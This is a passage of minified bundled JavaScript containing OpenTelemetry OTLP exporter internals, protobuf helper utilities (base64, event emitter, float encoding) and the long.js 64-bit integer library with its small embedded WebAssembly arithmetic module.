q62;(function(A){A[A.DELTA=0]="DELTA",A[A.CUMULATIVE=1]="CUMULATIVE",A[A.LOWMEMORY=2]="LOWMEMORY"})(q62=Hm7.AggregationTemporalityPreference||(Hm7.AggregationTemporalityPreference={}))});var $m7=v((Om7)=>{Object.defineProperty(Om7,"__esModule",{value:!0});Om7.OTLPExporterBase=void 0;class Jm7{_delegate;constructor(A){this._delegate=A}export(A,K){this._delegate.export(A,K)}forceFlush(){return this._delegate.forceFlush()}shutdown(){return this._delegate.shutdown()}}Om7.OTLPExporterBase=Jm7});var wD1=v((Gm7)=>{Object.defineProperty(Gm7,"__esModule",{value:!0});Gm7.OTLPExporterError=void 0;class _m7 extends Error{code;name="OTLPExporterError";data;constructor(A,K,q){super(A);this.data=q,this.code=K}}Gm7.OTLPExporterError=_m7});var BgA=v((Dm7)=>{Object.defineProperty(Dm7,"__esModule",{value:!0});Dm7.getSharedConfigurationDefaults=Dm7.mergeOtlpSharedConfigurationWithDefaults=Dm7.wrapStaticHeadersInFunction=Dm7.validateTimeoutMillis=void 0;function Wm7(A){if(Number.isFinite(A)&&A>0)return A;throw Error(`Configuration: timeoutMillis is invalid, expected number greater than 0 (actual: '${A}')`)}Dm7.validateTimeoutMillis=Wm7;function Y62(A){if(A==null)return;return async()=>A}Dm7.wrapStaticHeadersInFunction=Y62;function z62(A,K,q){return{timeoutMillis:Wm7(A.timeoutMillis??K.timeoutMillis??q.timeoutMillis),concurrencyLimit:A.concurrencyLimit??K.concurrencyLimit??q.concurrencyLimit,compression:A.compression??K.compression??q.compression}}Dm7.mergeOtlpSharedConfigurationWithDefaults=z62;function w62(){return{timeoutMillis:1e4,concurrencyLimit:30,compression:"none"}}Dm7.getSharedConfigurationDefaults=w62});var Pm7=v((Mm7)=>{Object.defineProperty(Mm7,"__esModule",{value:!0});Mm7.CompressionAlgorithm=void 0;var X62;(function(A){A.NONE="none",A.GZIP="gzip"})(X62=Mm7.CompressionAlgorithm||(Mm7.CompressionAlgorithm={}))});var mv6=v((fm7)=>{Object.defineProperty(fm7,"__esModule",{value:!0});fm7.createBoundedQueueExportPromiseHandler=void 0;class Vm7{_concurrencyLimit;_sendingPromises=[];constructor(A){this._concurrencyLimit=A}pushPromise(A){if(this.hasReachedLimit())throw Error("Concurrency Limit reached");this._sendingPromises.push(A);let K=()=>{let q=this._sendingPromises.indexOf(A);this._sendingPromises.splice(q,1)};A.then(K,K)}hasReachedLimit(){return this._sendingPromises.length>=this._concurrencyLimit}async awaitAll(){await Promise.all(this._sendingPromises)}}function $62(A){return new Vm7(A.concurrencyLimit)}fm7.createBoundedQueueExportPromiseHandler=$62});var Em7=v((Tm7)=>{Object.defineProperty(Tm7,"__esModule",{value:!0});Tm7.createLoggingPartialSuccessResponseHandler=void 0;var _62=RK();function G62(A){return Object.prototype.hasOwnProperty.call(A,"partialSuccess")}function Z62(){return{handleResponse(A){if(A==null||!G62(A)||A.partialSuccess==null||Object.keys(A.partialSuccess).length===0)return;_62.diag.warn("Received Partial Success response:",JSON.stringify(A.partialSuccess))}}}Tm7.createLoggingPartialSuccessResponseHandler=Z62});var gv6=v((Lm7)=>{Object.defineProperty(Lm7,"__esModule",{value:!0});Lm7.createOtlpExportDelegate=void 0;var d5A=P9(),km7=wD1(),W62=Em7(),D62=RK();class Cm7{_transport;_serializer;_responseHandler;_promiseQueue;_timeout;_diagLogger;constructor(A,K,q,Y,z){this._transport=A,this._serializer=K,this._responseHandler=q,this._promiseQueue=Y,this._timeout=z,this._diagLogger=D62.diag.createComponentLogger({namespace:"OTLPExportDelegate"})}export(A,K){if(this._diagLogger.debug("items to be sent",A),this._promiseQueue.hasReachedLimit()){K({code:d5A.ExportResultCode.FAILED,error:Error("Concurrent export limit reached")});return}let q=this._serializer.serializeRequest(A);if(q==null){K({code:d5A.ExportResultCode.FAILED,error:Error("Nothing to send")});return}this._promiseQueue.pushPromise(this._transport.send(q,this._timeout).then((Y)=>{if(Y.status==="success"){if(Y.data!=null)try{this._responseHandler.handleResponse(this._serializer.deserializeResponse(Y.data))}catch(z){this._diagLogger.warn("Export succeeded but could not deserialize response - is the response specification compliant?",z,Y.data)}K({code:d5A.ExportResultCode.SUCCESS});return}else if(Y.status==="failure"&&Y.error){K({code:d5A.ExportResultCode.FAILED,error:Y.error});return}else if(Y.status==="retryable")K({code:d5A.ExportResultCode.FAILED,error:new km7.OTLPExporterError("Export failed with retryable status")});else K({code:d5A.ExportResultCode.FAILED,error:new km7.OTLPExporterError("Export failed with unknown error")})},(Y)=>K({code:d5A.ExportResultCode.FAILED,error:Y})))}forceFlush(){return this._promiseQueue.awaitAll()}async shutdown(){this._diagLogger.debug("shutdown started"),await this.forceFlush(),this._transport.shutdown()}}function j62(A,K){return new Cm7(A.transport,A.serializer,(0,W62.createLoggingPartialSuccessResponseHandler)(),A.promiseHandler,K.timeout)}Lm7.createOtlpExportDelegate=j62});var Sm7=v((ym7)=>{Object.defineProperty(ym7,"__esModule",{value:!0});ym7.createOtlpNetworkExportDelegate=void 0;var M62=mv6(),P62=gv6();function V62(A,K,q){return(0,P62.createOtlpExportDelegate)({transport:q,serializer:K,promiseHandler:(0,M62.createBoundedQueueExportPromiseHandler)(A)},{timeout:A.timeoutMillis})}ym7.createOtlpNetworkExportDelegate=V62});var EB=v((ts)=>{Object.defineProperty(ts,"__esModule",{value:!0});ts.createOtlpNetworkExportDelegate=ts.CompressionAlgorithm=ts.getSharedConfigurationDefaults=ts.mergeOtlpSharedConfigurationWithDefaults=ts.OTLPExporterError=ts.OTLPExporterBase=void 0;var f62=$m7();Object.defineProperty(ts,"OTLPExporterBase",{enumerable:!0,get:function(){return f62.OTLPExporterBase}});var N62=wD1();Object.defineProperty(ts,"OTLPExporterError",{enumerable:!0,get:function(){return N62.OTLPExporterError}});var hm7=BgA();Object.defineProperty(ts,"mergeOtlpSharedConfigurationWithDefaults",{enumerable:!0,get:function(){return hm7.mergeOtlpSharedConfigurationWithDefaults}});Object.defineProperty(ts,"getSharedConfigurationDefaults",{enumerable:!0,get:function(){return hm7.getSharedConfigurationDefaults}});var T62=Pm7();Object.defineProperty(ts,"CompressionAlgorithm",{enumerable:!0,get:function(){return T62.CompressionAlgorithm}});var v62=Sm7();Object.defineProperty(ts,"createOtlpNetworkExportDelegate",{enumerable:!0,get:function(){return v62.createOtlpNetworkExportDelegate}})});var Uv6=v((um7)=>{Object.defineProperty(um7,"__esModule",{value:!0});um7.OTLPMetricExporterBase=um7.LowMemoryTemporalitySelector=um7.DeltaTemporalitySelector=um7.CumulativeTemporalitySelector=void 0;var k62=P9(),E$=ss(),bm7=uv6(),C62=EB(),L62=RK(),R62=()=>E$.AggregationTemporality.CUMULATIVE;um7.CumulativeTemporalitySelector=R62;var y62=(A)=>{switch(A){case E$.InstrumentType.COUNTER:case E$.InstrumentType.OBSERVABLE_COUNTER:case E$.InstrumentType.GAUGE:case E$.InstrumentType.HISTOGRAM:case E$.InstrumentType.OBSERVABLE_GAUGE:return E$.AggregationTemporality.DELTA;case E$.InstrumentType.UP_DOWN_COUNTER:case E$.InstrumentType.OBSERVABLE_UP_DOWN_COUNTER:return E$.AggregationTemporality.CUMULATIVE}};um7.DeltaTemporalitySelector=y62;var I62=(A)=>{switch(A){case E$.InstrumentType.COUNTER:case E$.InstrumentType.HISTOGRAM:return E$.AggregationTemporality.DELTA;case E$.InstrumentType.GAUGE:case E$.InstrumentType.UP_DOWN_COUNTER:case E$.InstrumentType.OBSERVABLE_UP_DOWN_COUNTER:case E$.InstrumentType.OBSERVABLE_COUNTER:case E$.InstrumentType.OBSERVABLE_GAUGE:return E$.AggregationTemporality.CUMULATIVE}};um7.LowMemoryTemporalitySelector=I62;function S62(){let A=((0,k62.getStringFromEnv)("OTEL_EXPORTER_OTLP_METRICS_TEMPORALITY_PREFERENCE")??"cumulative").toLowerCase();if(A==="cumulative")return um7.CumulativeTemporalitySelector;if(A==="delta")return um7.DeltaTemporalitySelector;if(A==="lowmemory")return um7.LowMemoryTemporalitySelector;return L62.diag.warn(`OTEL_EXPORTER_OTLP_METRICS_TEMPORALITY_PREFERENCE is set to '${A}', but only 'cumulative' and 'delta' are allowed. Using default ('cumulative') instead.`),um7.CumulativeTemporalitySelector}function h62(A){if(A!=null){if(A===bm7.AggregationTemporalityPreference.DELTA)return um7.DeltaTemporalitySelector;else if(A===bm7.AggregationTemporalityPreference.LOWMEMORY)return um7.LowMemoryTemporalitySelector;return um7.CumulativeTemporalitySelector}return S62()}var b62=Object.freeze({type:E$.AggregationType.DEFAULT});function x62(A){return A?.aggregationPreference??(()=>b62)}class xm7 extends C62.OTLPExporterBase{_aggregationTemporalitySelector;_aggregationSelector;constructor(A,K){super(A);this._aggregationSelector=x62(K),this._aggregationTemporalitySelector=h62(K?.temporalityPreference)}selectAggregation(A){return this._aggregationSelector(A)}selectAggregationTemporality(A){return this._aggregationTemporalitySelector(A)}}um7.OTLPMetricExporterBase=xm7});var pv6=v((HTH,mm7)=>{mm7.exports=u62;function u62(A,K){var q=Array(arguments.length-1),Y=0,z=2,w=!0;while(z<arguments.length)q[Y++]=arguments[z++];return new Promise(function(J,O){q[Y]=function($){if(w)if(w=!1,$)O($);else{var _=Array(arguments.length-1),G=0;while(G<_.length)_[G++]=arguments[G];J.apply(null,_)}};try{A.apply(K||null,q)}catch(X){if(w)w=!1,O(X)}})}});var Um7=v((Qm7)=>{var JD1=Qm7;JD1.length=function(K){var q=K.length;if(!q)return 0;var Y=0;while(--q%4>1&&K.charAt(q)==="=")++Y;return Math.ceil(K.length*3)/4-Y};var oDA=Array(64),Fm7=Array(123);for(OL=0;OL<64;)Fm7[oDA[OL]=OL<26?OL+65:OL<52?OL+71:OL<62?OL-4:OL-59|43]=OL++;var OL;JD1.encode=function(K,q,Y){var z=null,w=[],H=0,J=0,O;while(q<Y){var X=K[q++];switch(J){case 0:w[H++]=oDA[X>>2],O=(X&3)<<4,J=1;break;case 1:w[H++]=oDA[O|X>>4],O=(X&15)<<2,J=2;break;case 2:w[H++]=oDA[O|X>>6],w[H++]=oDA[X&63],J=0;break}if(H>8191)(z||(z=[])).push(String.fromCharCode.apply(String,w)),H=0}if(J){if(w[H++]=oDA[O],w[H++]=61,J===1)w[H++]=61}if(z){if(H)z.push(String.fromCharCode.apply(String,w.slice(0,H)));return z.join("")}return String.fromCharCode.apply(String,w.slice(0,H))};var gm7="invalid encoding";JD1.decode=function(K,q,Y){var z=Y,w=0,H;for(var J=0;J<K.length;){var O=K.charCodeAt(J++);if(O===61&&w>1)break;if((O=Fm7[O])===void 0)throw Error(gm7);switch(w){case 0:H=O,w=1;break;case 1:q[Y++]=H<<2|(O&48)>>4,H=O,w=2;break;case 2:q[Y++]=(H&15)<<4|(O&60)>>2,H=O,w=3;break;case 3:q[Y++]=(H&3)<<6|O,w=0;break}}if(w===1)throw Error(gm7);return Y-z};JD1.test=function(K){return/^(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)?$/.test(K)}});var dm7=v((OTH,pm7)=>{pm7.exports=OD1;function OD1(){this._listeners={}}OD1.prototype.on=function(K,q,Y){return(this._listeners[K]||(this._listeners[K]=[])).push({fn:q,ctx:Y||this}),this};OD1.prototype.off=function(K,q){if(K===void 0)this._listeners={};else if(q===void 0)this._listeners[K]=[];else{var Y=this._listeners[K];for(var z=0;z<Y.length;)if(Y[z].fn===q)Y.splice(z,1);else++z}return this};OD1.prototype.emit=function(K){var q=this._listeners[K];if(q){var Y=[],z=1;for(;z<arguments.length;)Y.push(arguments[z++]);for(z=0;z<q.length;)q[z].fn.apply(q[z++].ctx,Y)}return this}});var am7=v((XTH,om7)=>{om7.exports=cm7(cm7);function cm7(A){if(typeof Float32Array<"u")(function(){var K=new Float32Array([-0]),q=new Uint8Array(K.buffer),Y=q[3]===128;function z(O,X,$){K[0]=O,X[$]=q[0],X[$+1]=q[1],X[$+2]=q[2],X[$+3]=q[3]}function w(O,X,$){K[0]=O,X[$]=q[3],X[$+1]=q[2],X[$+2]=q[1],X[$+3]=q[0]}A.writeFloatLE=Y?z:w,A.writeFloatBE=Y?w:z;function H(O,X){return q[0]=O[X],q[1]=O[X+1],q[2]=O[X+2],q[3]=O[X+3],K[0]}function J(O,X){return q[3]=O[X],q[2]=O[X+1],q[1]=O[X+2],q[0]=O[X+3],K[0]}A.readFloatLE=Y?H:J,A.readFloatBE=Y?J:H})();else(function(){function K(Y,z,w,H){var J=z<0?1:0;if(J)z=-z;if(z===0)Y(1/z>0?0:2147483648,w,H);else if(isNaN(z))Y(2143289344,w,H);else if(z>340282346638528860000000000000000000000)Y((J<<31|2139095040)>>>0,w,H);else if(z<0.000000000000000000000000000000000000011754943508222875)Y((J<<31|Math.round(z/0.000000000000000000000000000000000000000000001401298464324817))>>>0,w,H);else{var O=Math.floor(Math.log(z)/Math.LN2),X=Math.round(z*Math.pow(2,-O)*8388608)&8388607;Y((J<<31|O+127<<23|X)>>>0,w,H)}}A.writeFloatLE=K.bind(null,lm7),A.writeFloatBE=K.bind(null,im7);function q(Y,z,w){var H=Y(z,w),J=(H>>31)*2+1,O=H>>>23&255,X=H&8388607;return O===255?X?NaN:J*(1/0):O===0?J*0.000000000000000000000000000000000000000000001401298464324817*X:J*Math.pow(2,O-150)*(X+8388608)}A.readFloatLE=q.bind(null,nm7),A.readFloatBE=q.bind(null,rm7)})();if(typeof Float64Array<"u")(function(){var K=new Float64Array([-0]),q=new Uint8Array(K.buffer),Y=q[7]===128;function z(O,X,$){K[0]=O,X[$]=q[0],X[$+1]=q[1],X[$+2]=q[2],X[$+3]=q[3],X[$+4]=q[4],X[$+5]=q[5],X[$+6]=q[6],X[$+7]=q[7]}function w(O,X,$){K[0]=O,X[$]=q[7],X[$+1]=q[6],X[$+2]=q[5],X[$+3]=q[4],X[$+4]=q[3],X[$+5]=q[2],X[$+6]=q[1],X[$+7]=q[0]}A.writeDoubleLE=Y?z:w,A.writeDoubleBE=Y?w:z;function H(O,X){return q[0]=O[X],q[1]=O[X+1],q[2]=O[X+2],q[3]=O[X+3],q[4]=O[X+4],q[5]=O[X+5],q[6]=O[X+6],q[7]=O[X+7],K[0]}function J(O,X){return q[7]=O[X],q[6]=O[X+1],q[5]=O[X+2],q[4]=O[X+3],q[3]=O[X+4],q[2]=O[X+5],q[1]=O[X+6],q[0]=O[X+7],K[0]}A.readDoubleLE=Y?H:J,A.readDoubleBE=Y?J:H})();else(function(){function K(Y,z,w,H,J,O){var X=H<0?1:0;if(X)H=-H;if(H===0)Y(0,J,O+z),Y(1/H>0?0:2147483648,J,O+w);else if(isNaN(H))Y(0,J,O+z),Y(2146959360,J,O+w);else if(H>179769313486231570000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000)Y(0,J,O+z),Y((X<<31|2146435072)>>>0,J,O+w);else{var $;if(H<0.000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000022250738585072014)$=H/0.000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005,Y($>>>0,J,O+z),Y((X<<31|$/4294967296)>>>0,J,O+w);else{var _=Math.floor(Math.log(H)/Math.LN2);if(_===1024)_=1023;$=H*Math.pow(2,-_),Y($*4503599627370496>>>0,J,O+z),Y((X<<31|_+1023<<20|$*1048576&1048575)>>>0,J,O+w)}}}A.writeDoubleLE=K.bind(null,lm7,0,4),A.writeDoubleBE=K.bind(null,im7,4,0);function q(Y,z,w,H,J){var O=Y(H,J+z),X=Y(H,J+w),$=(X>>31)*2+1,_=X>>>20&2047,G=4294967296*(X&1048575)+O;return _===2047?G?NaN:$*(1/0):_===0?$*0.000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005*G:$*Math.pow(2,_-1075)*(G+4503599627370496)}A.readDoubleLE=q.bind(null,nm7,0,4),A.readDoubleBE=q.bind(null,rm7,4,0)})();return A}function lm7(A,K,q){K[q]=A&255,K[q+1]=A>>>8&255,K[q+2]=A>>>16&255,K[q+3]=A>>>24}function im7(A,K,q){K[q]=A>>>24,K[q+1]=A>>>16&255,K[q+2]=A>>>8&255,K[q+3]=A&255}function nm7(A,K){return(A[K]|A[K+1]<<8|A[K+2]<<16|A[K+3]<<24)>>>0}function rm7(A,K){return(A[K]<<24|A[K+1]<<16|A[K+2]<<8|A[K+3])>>>0}});var sm7=v((mgA,dv6)=>{(function(A,K){function q(Y){return Y.default||Y}if(typeof define==="function"&&define.amd)define([],function(){var Y={};return K(Y),q(Y)});else if(typeof mgA==="object"){if(K(mgA),typeof dv6==="object")dv6.exports=q(mgA)}else(function(){var Y={};K(Y),A.Long=q(Y)})()})(typeof globalThis<"u"?globalThis:typeof self<"u"?self:mgA,function(A){Object.defineProperty(A,"__esModule",{value:!0}),A.default=void 0;var K=null;try{K=new WebAssembly.Instance(new WebAssembly.Module(new Uint8Array([0,97,115,109,1,0,0,0,1,13,2,96,0,1,127,96,4,127,127,127,127,1,127,3,7,6,0,1,1,1,1,1,6,6,1,127,1,65,0,11,7,50,6,3,109,117,108,0,1,5,100,105,118,95,115,0,2,5,100,105,118,95,117,0,3,5,114,101,109,95,115,0,4,5,114,101,109,95,117,0,5,8,103,101,116,95,104,105,103,104,0,0,10,191,1,6,4,0,35,0,11,36,1,1,126,32,0,173,32,1,173,66,32,134,132,32,2,173,32,3,173,66,32,134,132,126,34,4,66,32,135,167,36,0,32,4,167,11,36,1,1,126,32,0,173,32,1,173,66,32,134,132,32,2,173,32,3,173,66,32,134,132,127,34,4,66,32,135,167,36,0,32,4,167,11,36,1,1,126,32,0,173,32,1,173,66,32,134,132,32,2,173,32,3,173,66,32,134,132,128,34,4,66,32,135,167,36,0,32,4,167,11,36,1,1,126,32,0,173,32,1,173,66,32,134,132,32,2,173,32,3,173,66,32,134,132,129,34,4,66,32,135,167,36,0,32,4,167,11,36,1,1,126,32,0,173,32,1,173,66,32,134,132,32,2,173,32,3,173,66,32,134,132,130,34,4,66,32,135,167,36,0,32,4,167,11])),{}).exports}catch{}function q(Q,u,d){this.low=Q|0,this.high=u|0,this.unsigned=!!d}q.prototype.__isLong__,Object.defineProperty(q.prototype,"__isLong__",{value:!0});function Y(Q){return(Q&&Q.__isLong__)===!0}function z(Q){var u=Math.clz32(Q&-Q);return Q?31-u:u}q.isLong=Y;var w={},H={};function J(Q,u){var d,r,c;if(u){if(Q>>>=0,c=0<=Q&&Q<256){if(r=H[Q],r)return r}if(d=X(Q,0,!0),c)H[Q]=d;return d}else{if(Q|=0,c=-128<=Q&&Q<128){if(r=w[Q],r)return r}if(d=X(Q,Q<0?-1:0,!1),c)w[Q]=d;return d}}q.fromInt=J;function O(Q,u){if(isNaN(Q))return u?N:f;if(u){if(Q<0)return N;if(Q>=j)return y}else{if(Q<=-M)return B;if(Q+1>=M)return x}if(Q<0)return O(-Q,u).neg();return X(Q%D|0,Q/D|0,u)}q.fromNumber=O;function X(Q,u,d){return new q(Q,u,d)}q.fromBits=X;var $=Math.pow;function _(Q,u,d){if(Q.length===0)throw Error("empty string");if(typeof u==="number")d=u,u=!1;else u=!!u;if(Q==="NaN"||Q==="Infinity"||Q==="+Infinity"||Q==="-Infinity")return u?N:f;if(d=d||10,d<2||36<d)throw RangeError("radix");var r;if((r=Q.indexOf("-"))>0)throw Error("interior hyphen");else if(r===0)return _(Q.substring(1),u,d).neg();var c=O($(d,8)),YA=f;for(var e=0;e<Q.length;e+=8){var qA=Math.min(8,Q.length-e),HA=parseInt(Q.substring(e,e+qA),d);if(qA<8){var _A=O($(d,qA));YA=YA.mul(_A).add(O(HA))}else YA=YA.mul(c),YA=YA.add(O(HA))}return YA.unsigned=u,YA}q.fromString=_;function G(Q,u){if(typeof Q==="number")return O(Q,u);if(typeof Q==="string")return _(Q,u);return X(Q.low,Q.high,typeof u==="boolean"?u:Q.unsigned)}q.fromValue=G;var Z=65536,W=16777216,D=Z*Z,j=D*D,M=j/2,P=J(W),f=J(0);q.ZERO=f;var N=J(0,!0);q.UZERO=N;var T=J(1);q.ONE=T;var C=J(1,!0);q.UONE=C;var R=J(-1);q.NEG_ONE=R;var x=X(-1,2147483647,!1);q.MAX_VALUE=x;var y=X(-1,-1,!0);q.MAX_UNSIGNED_VALUE=y;var B=X(0,-2147483648,!1);q.MIN_VALUE=B;var b=q.prototype;if(b.toInt=function(){return this.unsigned?this.low>>>0:this.low},b.toNumber=function(){if(this.unsigned)return(this.high>>>0)*D+(this.low>>>0);return this.high*D+(this.low>>>0)},b.toString=function(u){if(u=u||10,u<2||36<u)throw RangeError("radix");if(this.isZero())return"0";if(this.isNegative())if(this.eq(B)){var d=O(u),r=this.div(d),c=r.mul(d).sub(this);return r.toString(u)+c.toInt().toString(u)}else return"-"+this.neg().toString(u);var YA=O($(u,6),this.unsigned),e=this,qA="";while(!0){var HA=e.div(YA),_A=e.sub(HA.mul(YA)).toInt()>>>0,a=_A.toString(u);if(e=HA,e.isZero())return a+qA;else{while(a.length<6)a="0"+a;qA=""+a+qA}}},b.getHighBits=function(){return this.high},b.getHighBitsUnsigned=function(){return this.high>>>0},b.getLowBits=function(){return this.low},b.getLowBitsUnsigned=function(){return this.low>>>0},b.getNumBitsAbs=function(){if(this.isNegative())return this.eq(B)?64:this.neg().getNumBitsAbs();var u=this.high!=0?this.high:this.low;for(var d=31;d>0;d--)if((u&1<<d)!=0)break;return this.high!=0?d+33:d+1},b.isSafeInteger=function(){var u=this.high>>21;if(!u)return!0;if(this.unsigned)return!1;return u===-1&&!(this.low===0&&this.high===-2097152)},b.isZero=function(){return this.high===0&&this.low===0},b.eqz=b.isZero,b.isNegative=function(){return!this.unsigned&&this.high<0},b.isPositive=function(){return this.unsigned||this.high>=0},b.isOdd=function(){return(this.low&1)===1},b.isEven=function(){return(this.low&1)===0},b.equals=function(u){if(!Y(u))u=G(u);if(this.unsigned!==u.unsigned&&this.high>>>31===1&&u.high>>>31===1)return!1;return this.high===u.high&&this.low===u.low},b.eq=b.equals,b.notEquals=function(u){return!this.eq(u)},b.neq=b.notEquals,b.ne=b.notEquals,b.lessThan=function(u){return this.comp(u)<0},b.lt=b.lessThan,b.lessThanOrEqual=function(u){return this.comp(u)<=0},b.lte=b.lessThanOrEqual,b.le=b.lessThanOrEqual,b.greaterThan=function(u){return this.comp(u)>0},b.gt=b.greaterThan,b.greaterThanOrEqual=function(u){return this.comp(u)>=0},b.gte=b.greaterThanOrEqual,b.ge=b.greaterThanOrEqual,b.compare=function(u){if(!Y(u))u=G(u);if(this.eq(u))return 0;var d=this.isNegative(),r=u.isNegative();if(d&&!r)return-1;if(!d&&r)return 1;if(!this.unsigned)return this.sub(u).isNegative()?-1:1;return u.high>>>0>this.high>>>0||u.high===this.high&&u.low>>>0>this.low>>>0?-1:1},b.comp=b.compare,b.negate=function(){if(!this.unsigned&&this.eq(B))return B;return this.not().add(T)},b.neg=b.negate,b.add=function(u){if(!Y(u))u=G(u);var d=this.high>>>16,r=this.high&65535,c=this.low>>>16,YA=this.low&65535,e=u.high>>>16,qA=u.high&65535,HA=u.low>>>16,_A=u.low&65535,a=0,JA=0,jA=0,MA=0;return MA+=YA+_A,jA+=MA>>>16,MA&=65535,jA+=c+HA,JA+=jA>>>16,jA&=65535,JA+=r+qA,a+=JA>>>16,JA&=65535,a+=d+e,a&=65535,X(jA<<16|MA,a<<16|JA,this.unsigned)},b.subtract=function(u){if(!Y(u))u=G(u);return this.add(u.neg())},b.sub=b.subtract,b.multiply=function(u){if(this.isZero())return this;if(!Y(u))u=G(u);if(K){var d=K.mul(this.low,this.high,u.low,u.high);return X(d,K.get_high(),this.unsigned)}if(u.isZero())return this.unsigned?N:f;if(this.eq(B))return u.isOdd()?B:f;if(u.eq(B))return this.isOdd()?B:f;if(this.isNegative())if(u.isNegative())return this.neg().mul(u.neg());else return this.neg().mul(u).neg();else if(u.isNegative())return this.mul(u.neg()).neg();if(this.lt(P)&&u.lt(P))return O(this.toNumber()*u.toNumber(),this.unsigned);var r=this.high>>>16,c=this.high&65535,YA=this.low>>>16,e=this.low&65535,qA=u.high>>>16,HA=u.high&65535,_A=u.low>>>16,a=u.low&65535,JA=0,jA=0,MA=0,hA=0;return hA+=e*a,MA+=hA>>>16,hA&=65535,MA+=YA*a,jA+=MA>>>16,MA&=65535,MA+=e*_A,jA+=MA>>>16,MA&=65535,jA+=c*a,JA+=jA>>>16,jA&=65535,jA+=YA*_A,JA+=jA>>>16,jA&=65535,jA+=e*HA,JA+=jA>>>16,jA&=65535,JA+=r*a+c*_A+YA*HA+e*qA,JA&=65535,X(MA<<16|hA,JA<<16|jA,this.unsigned)},b.mul=b.multiply,b.divide=function(u){if(!Y(u))u=G(u);if(u.isZero())throw Error("division by zero");if(K){if(!this.unsigned&&this.high===-2147483648&&u.low===-1&&u.high===-1)return this;var d=(this.unsigned?K.div_u:K.div_s)(this.low,this.high,u.low,u.high);return X(d,K.get_high(),this.unsigned)}if(this.isZero())return this.unsigned?N:f;var r,c,YA;if(!this.unsigned){if(this.eq(B))if(u.eq(T)||u.eq(R))return B;else if(u.eq(B))return T;else{var e=this.shr(1);if(r=e.div(u).shl(1),r.eq(f))return u.isNegative()?T:R;else return c=this.sub(u.mul(r)),YA=r.add(c.div(u)),YA}else if(u.eq(B))return this.unsigned?N:f;if(this.isNegative()){if(u.isNegative())return this.neg().div(u.neg());return this.neg().div(u).neg()}else if(u.isNegative())return this.div(u.neg()).neg();YA=f}else{if(!u.unsigned)u=u.toUnsigned();if(u.gt(this))return N;if(u.gt(this.shru(1)))return C;YA=N}c=this;while(c.gte(u)){r=Math.max(1,Math.floor(c.toNumber()/u.toNumber()));var qA=Math.ceil(Math.log(r)/Math.LN2),HA=qA<=48?1:$(2,qA-48),_A=O(r),a=_A.mul(u);while(a.isNegative()||a.gt(c))r-=HA,_A=O(r,this.unsigned),a=_A.mul(u);if(_A.isZero())_A=T;YA=YA.add(_A),c=c.sub(a)}return YA},b.div=b.divide,b.modulo=function(u){if(!Y(u))u=G(u);if(K){var d=(this.unsigned?K.rem_u:K.rem_s)(this.low,this.high,u.low,u.high);return X(d,K.get_high(),this.unsigned)}return this.sub(this.div(u).mul(u))},b.mod=b.modulo,b.rem=b.modulo,b.not=function(){return X(~this.low,~this.high,this.unsigned)},b.countLeadingZeros=function(){return this.high?Math.clz32(this.high):Math.clz32(this.low)+32},b.clz=b.countLeadingZeros,b.countTrailingZeros=function(){return this.low?z(this.low):z(this.high)+32},b.ctz=b.countTrailingZeros,b.and=function(u){if(!Y(u))u=G(u);return X(this.low&u.low,this.high&u.high,this.unsigned)},b.or=function(u){if(!Y(u))u=G(u);return X(this.low|u.low,this.high|u.high,this.unsigned)},b.xor=function(u){if(!Y(u))u=G(u);return X(this.low^u.low,this.high^u.high,this.unsigned)},b.shiftLeft=function(u){if(Y(u))u=u.toInt();if((u&=63)===0)return this;else if(u<32)return X(this.low<<u,this.high<<u|this.low>>>32-u,this.unsigned);else return X(0,this.low<<u-32,this.unsigned)},b.shl=b.shiftLeft,b.shiftRight=function(u){if(Y(u))u=u.toInt();if((u&=63)===0)return this;else if(u<32)return X(this.low>>>u|this.high<<32-u,this.high>>u,this.unsigned);else return X(this.high>>u-32,this.high>=0?0:-1,this.unsigned)},b.shr=b.shiftRight,b.shiftRightUnsigned=function(u){if(Y(u))u=u.toInt();if((u&=63)===0)return this;if(u<32)return X(this.low>>>u|this.high<<32-u,this.high>>>u,this.unsigned);if(u===32)return X(this.high,0,this.unsigned);return X(this.high>>>u-32,0,this.unsigned)},b.shru=b.shiftRightUnsigned,b.shr_u=b.shiftRightUnsigned,b.rotateLeft=function(u){var d;if(Y(u))u=u.toInt();if((u&=63)===0)return this;if(u===32)return X(this.high,this.low,this.unsigned);if(u<32)return d=32-u,X(this.low<<u|this.high>>>d,this.high<<u|this.low>>>d,this.unsigned);return u-=32,d=32-u,X(this.high<<u|this.low>>>d,this.low<<u|this.high>>>d,this.unsigned)},b.rotl=b.rotateLeft,b.rotateRight=function(u){var d;if(Y(u))u=u.toInt();if((u&=63)===0)return this;if(u===32)return X(this.high,this.low,this.unsigned);if(u<32)return d=32-u,X(this.high<<d|this.low>>>u,this.low<<d|this.high>>>u,this.unsigned);return u-=32,d=32-u,X(this.low<<d|this.high>>>u,this.high<<d|this.low>>>u,this.unsigned)},b.rotr=b.rotateRight,b.toSigned=function(){if(!this.unsigned)return this;return X(this.low,this.high,!1)},b.toUnsigned=function(){if(this.unsigned)return this;return X(this.low,this.high,!0)},b.toBytes=function(u){return u?this.toBytesLE():this.toBytesBE()},b.toBytesLE=function(){var u=this.high,d=this.low;return[d&255,d>>>8&255,d>>>16&255,d>>>24,u&255,u>>>8&255,u>>>16&255,u>>>24]},b.toBytesBE=function(){var u=this.high,d=this.low;return[u>>>24,u>>>16&255,u>>>8&255,u&255,d>>>24,d>>>16&255,d>>>8&255,d&255]},q.fromBytes=function(u,d,r){return r?q.fromBytesLE(u,d):q.fromBytesBE(u,d)},q.fromBytesLE=function(u,d){return new q(u[0]|u[1]<<8|u[2]<<16|u[3]<<24,u[4]|u[5]<<8|u[6]<<16|u[7]<<24,d)},q.fromBytesBE=function(u,d){return new 